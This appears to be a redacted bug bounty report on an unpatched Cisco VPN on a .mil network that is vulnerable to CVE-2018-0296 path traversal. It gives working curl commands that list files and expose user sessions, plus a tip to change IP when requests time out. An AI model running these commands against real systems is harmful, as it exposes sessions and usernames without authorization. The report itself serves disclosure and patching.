[CVE-2018-0296] Cisco VPN path traversal on the https://████████/ (█████████.mil)

How it was found

Description

I discovered previously unidentified instance https://████/ (██████.mil) in ███ network, vulnerable to the CVE-2018-0296 (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-0296)

POC

curl -i -k "https://█████████/+CSCOU+/../+CSCOE+/files/file_list.json" --path-as-is

██████

We can disclose user sessions by quering /sessions:

curl -i -k "https://████████/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions" --path-as-is

Suggested fix

Updating to the latest version should fix the issue. Fixed version should give 404 "File not found" error. Example of patched version:

curl -i -k "https://mvpn3.███/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions" --path-as-is

Notes

In case you experience request timeout when reproducing, try to change your IP/VPN.

Impact

Path traversal, which can allow the unauthenticated attacker disclose sensitive information such as VPN sessions, files, usernames. Under some conditions it's possible to cause DOS attacks